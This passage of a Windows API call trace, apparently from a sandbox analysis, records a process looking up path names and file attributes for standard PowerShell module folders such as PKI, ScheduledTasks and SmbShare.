SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.883] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networkconnectivitystatus"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc468c21, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e984c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.883] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0191.883] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager", nBufferLength=0x48, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager", lpFilePart=0x0) returned 0x47 [0191.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.883] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networkswitchmanager"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.884] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0191.884] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", nBufferLength=0x45, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", lpFilePart=0x0) returned 0x44 [0191.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.884] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networktransition"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5046f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9aaec8, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.884] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PcsvDevice", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0191.884] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PcsvDevice", nBufferLength=0x3e, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PcsvDevice", lpFilePart=0x0) returned 0x3d [0191.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.884] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PcsvDevice" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pcsvdevice"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc50532d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9d112b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.884] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0191.884] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", nBufferLength=0x37, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", lpFilePart=0x0) returned 0x36 [0191.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.885] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pki"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.885] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0191.885] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", nBufferLength=0x3d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", lpFilePart=0x0) returned 0x3c [0191.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.885] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pnpdevice"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5a46ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9d112b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.885] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0191.885] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", nBufferLength=0x43, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", lpFilePart=0x0) returned 0x42 [0191.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.885] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5a53a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9f739d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.886] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Provisioning", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0191.886] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Provisioning", nBufferLength=0x40, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Provisioning", lpFilePart=0x0) returned 0x3f [0191.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.886] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Provisioning" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\provisioning"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc6cc509, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea1d607, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.886] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0191.886] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0191.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.886] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.887] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0191.887] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0191.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.887] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8049ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea69acb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.887] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0191.887] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0191.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.887] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc804db7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.887] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0191.887] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow", nBufferLength=0x3e, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow", lpFilePart=0x0) returned 0x3d [0191.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.888] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psworkflow"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8051d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.888] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0191.888] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility", nBufferLength=0x45, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility", lpFilePart=0x0) returned 0x44 [0191.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.888] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psworkflowutility"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8055f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.888] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0191.888] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", nBufferLength=0x42, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", lpFilePart=0x0) returned 0x41 [0191.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.888] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\scheduledtasks"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc90f57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.889] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0191.889] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", nBufferLength=0x3e, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", lpFilePart=0x0) returned 0x3d [0191.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.889] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\secureboot"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.889] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbShare", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0191.889] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbShare", nBufferLength=0x3c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbShare", lpFilePart=0x0) returned 0x3b [0191.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.889] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbShare" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\smbshare"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c0cbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8c1e1cae, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.889] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbWitness", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0191.889] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbWitness", nBufferLength=0x3e, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbWitness", lpFilePart=0x0) returned 0x3d [0191.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.889] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbWitness" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\smbwitness"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c3023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eab5f8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.890] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\StartLayout", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0191.890] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\StartLayout", nBufferLength=0x3f, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\StartLayout", lpFilePart=0x0) returned 0x3e [0191.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.890] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\StartLayout" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\startlayout"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c3b3e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eab5f8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.890] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0191.890] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", nBufferLength=0x3b, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", lpFilePart=0x0) returned 0x3a [0191.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.890] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\storage"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c4795, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eadc202, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.891] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0191.891] GetFullPathNameW (in: 